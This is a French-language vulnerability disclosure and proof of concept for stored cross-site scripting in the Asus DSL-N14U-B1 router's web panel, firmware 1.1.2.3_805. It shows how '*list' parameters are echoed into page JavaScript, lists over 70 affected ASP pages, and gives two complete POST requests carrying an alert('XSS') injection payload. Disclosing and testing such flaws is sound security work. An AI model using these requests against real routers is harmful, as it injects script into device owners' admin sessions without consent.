
Preuve de concept pour la vulnérabilité XSS stockée dans le firmware du routeur Asus DSL-N14U, avec des payloads d'exploitation et une liste de plus de 70 pages ASP vulnérables pour les tests de sécurité.
Nous n'avons pas encore testé d'autres modèles Asus que ceux listés. Cependant, nous suspectons que cela puisse également fonctionner sur d'autres modèles avec la même version de firmware.
DSL-N14U_B1 V.1.1.2.3_805
Il a été découvert que le routeur Asus DSL-N14U-B1 1.1.2.3_805 contient une vulnérabilité de cross-site scripting (XSS) stocké via les paramètres "*list" (par ex. filter_lwlist, keyword_rulelist, etc.) dans chaque page ".asp" contenant une liste de chaînes stockées (par ex. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp).
Via un paramètre *list (par ex. filter_lwlist, keyword_rulelist, etc.) dans chaque page ".asp" contenant une liste de chaînes stockées (par ex. Advanced_Firewall_Content.asp, Advanced_KeywordFilter_Content.asp), les fonctions tcWebApi_get et TCWebApi_get sont exécutées pour générer du code JavaScript dynamique.
Par ex. filter_lwlist dans /cgi-bin/Advanced_Firewall_Content.asp :
En passant dans le corps de la requête POST :
filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'
Le code backend :
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<% If tcWebApi_get("IpMacFilter_Entry","LtoW_List","h") <> "" then tcWebApi_get("IpMacFilter_Entry","LtoW_List","s") end if %>';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
devient :
var wireless = []; // [[MAC, associated, authorized], ...]
var filter_lwlist_array = '<192.168.2.2>443>192.168.2.2>443>TCP'+alert('XSS')+'';
function initial(){
show_menu();
showfilter_lwlist();
init_setting();
check_Timefield_checkbox();
corrected_timezone(DAYLIGHT_orig, TZ_orig);
}
Ce qui est exécuté dans le navigateur :

Dans le panneau web de ce routeur, il existe de nombreuses listes de chaînes soumises par l'utilisateur (par ex. pour spécifier une liste d'IP blacklistées, une liste d'ip:port à rediriger, etc.) et sur chaque page testée, il a été possible d'effectuer une XSS. Une liste des pages vulnérables peut être obtenue via :
grep -rPi 'var.*TCWebApi_get' boaroot/ | awk -F':' '{print $1}' | sort -u
boaroot/cgi-bin/Advanced_ACL_Content.asp
boaroot/cgi-bin/Advanced_ADSL_Content.asp
boaroot/cgi-bin/Advanced_AiDisk_ftp.asp
boaroot/cgi-bin/Advanced_AiDisk_samba.asp
boaroot/cgi-bin/Advanced_ASUSDDNS_Content.asp
boaroot/cgi-bin/Advanced_DSL_Content.asp
boaroot/cgi-bin/Advanced_Firewall_Content.asp
boaroot/cgi-bin/Advanced_FirmwareUpgrade_Content.asp
boaroot/cgi-bin/Advanced_GWStaticRoute_Content.asp
boaroot/cgi-bin/Advanced_IPTV_Content.asp
boaroot/cgi-bin/Advanced_IPv6_Content.asp
boaroot/cgi-bin/Advanced_KeywordFilter_Content.asp
boaroot/cgi-bin/Advanced_LAN_Content.asp
boaroot/cgi-bin/Advanced_Modem_Content.asp
boaroot/cgi-bin/Advanced_PortTrigger_Content.asp
boaroot/cgi-bin/Advanced_QOSUserPrio_Content.asp
boaroot/cgi-bin/Advanced_QOSUserRules_Content.asp
boaroot/cgi-bin/Advanced_SettingBackup_Content.asp
boaroot/cgi-bin/Advanced_System_Content.asp
boaroot/cgi-bin/Advanced_URLFilter_Content.asp
boaroot/cgi-bin/Advanced_VirtualServer_Content.asp
boaroot/cgi-bin/Advanced_VPN_PPTP.asp
boaroot/cgi-bin/Advanced_WAdvanced_Content.asp
boaroot/cgi-bin/Advanced_WANPort_Content.asp
boaroot/cgi-bin/Advanced_Wireless_Content.asp
boaroot/cgi-bin/Advanced_WMode_Content.asp
boaroot/cgi-bin/Advanced_WWPS_Content.asp
boaroot/cgi-bin/aidisk/Aidisk-1.asp
boaroot/cgi-bin/aidisk/Aidisk-2.asp
boaroot/cgi-bin/aidisk/Aidisk-3.asp
boaroot/cgi-bin/aidisk/Aidisk-4.asp
boaroot/cgi-bin/aidisk.asp
boaroot/cgi-bin/APP_Installation.asp
boaroot/cgi-bin/Bandwidth_Limiter.asp
boaroot/cgi-bin/blocking.asp
boaroot/cgi-bin/cloud_main.asp
boaroot/cgi-bin/cloud_router_sync.asp
boaroot/cgi-bin/cloud_settings.asp
boaroot/cgi-bin/cloud_sync.asp
boaroot/cgi-bin/device-map/clients.asp
boaroot/cgi-bin/device-map/disk.asp
boaroot/cgi-bin/device-map/DSL_dashboard.asp
boaroot/cgi-bin/device-map/internet.asp
boaroot/cgi-bin/error_page.asp
boaroot/cgi-bin/Guest_network.asp
boaroot/cgi-bin/index2.asp
boaroot/cgi-bin/index.asp
boaroot/cgi-bin/Main_AccessLog_Content.asp
boaroot/cgi-bin/Main_AdslStatus_Content.asp
boaroot/cgi-bin/Main_Spectrum_Content.asp
boaroot/cgi-bin/Main_WebHistory_Content.asp
boaroot/cgi-bin/ParentalControl.asp
boaroot/cgi-bin/qis/QIS_admin_pass.asp
boaroot/cgi-bin/qis/QIS_annex_setting.asp
boaroot/cgi-bin/qis/QIS_bridge_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_detect.asp
boaroot/cgi-bin/qis/QIS_finish.asp
boaroot/cgi-bin/qis/QIS_ipoa_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_manual_setting.asp
boaroot/cgi-bin/qis/QIS_mer_cfg.asp
boaroot/cgi-bin/qis/QIS_mer_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg.asp
boaroot/cgi-bin/qis/QIS_ppp_cfg_tmp.asp
boaroot/cgi-bin/qis/QIS_PTM_manual_setting.asp
boaroot/cgi-bin/qis/QIS_wireless.asp
boaroot/cgi-bin/QIS_wizard.asp
boaroot/cgi-bin/QoS_EZQoS.asp
boaroot/cgi-bin/query_wan_status2.asp
boaroot/cgi-bin/query_wan_status.asp
boaroot/cgi-bin/start_apply.asp
boaroot/html/client_function.js
boaroot/html/general.js
boaroot/html/help.js
boaroot/html/state.js
boaroot/html/validator.js
Exemples de payloads :
POST /cgi-bin/Advanced_Firewall_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 880
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/Advanced_Firewall_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517
Upgrade-Insecure-Requests: 1
productid=DSL-N14U¤t_page=Advanced_Firewall_Content.asp&next_page=&group_id=filter_lwlist&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&filter_lw_date_x=1111111&filter_lw_time_x=00002359&filter_lw_num_x_0=&filter_lwlist=%3C192.168.2.2%3E443%3E192.168.2.2%3E443%3ETCP'%2balert('XSS')%2b'&editFlag=1&fw_lw_enable_x=1&filter_lw_default_x=DROP&LWKnownApps=User+Defined&filter_lw_date_x_Sun=on&filter_lw_date_x_Mon=on&filter_lw_date_x_Tue=on&filter_lw_date_x_Wed=on&filter_lw_date_x_Thu=on&filter_lw_date_x_Fri=on&filter_lw_date_x_Sat=on&filter_lw_time_x_starthour=00&filter_lw_time_x_startmin=00&filter_lw_time_x_endhour=23&filter_lw_time_x_endmin=59&filter_lw_icmp_x=&filter_lw_srcip_x_0=&filter_lw_srcport_x_0=&filter_lw_dstip_x_0=&filter_lw_dstport_x_0=&filter_lw_proto_x_0=TCP&FAQ_input=
POST /cgi-bin/Advanced_KeywordFilter_Content.asp HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 449
Origin: http://192.168.2.1
Connection: close
Referer: http://192.168.2.1/cgi-bin/Advanced_KeywordFilter_Content.asp
Cookie: asus_token=XXXXXXXXXXXXXXXXXXXX; nwmapRefreshTime=1654435165517; bw_rtab=ATM
Upgrade-Insecure-Requests: 1
current_page=Advanced_KeywordFilter_Content.asp&next_page=Advanced_KeywordFilter_Content.asp&next_host=192.168.2.1&modified=0&action_mode=apply&action_wait=5&action_script=restart_firewall&first_time=&preferred_lang=EN&firmver=1.1.2.3_805-gadd8a2b&keyword_num_x_0=&keyword_rulelist=%3CTEST%27%2Balert%28%27XSS%27%29%2B%27&keyword_enable_x_orig=0&editFlag=1&keyword_enable_x=0&keyword_enable_x_0=0&keyword_enable_x_1=0&keyword_keyword_x_0=&FAQ_input=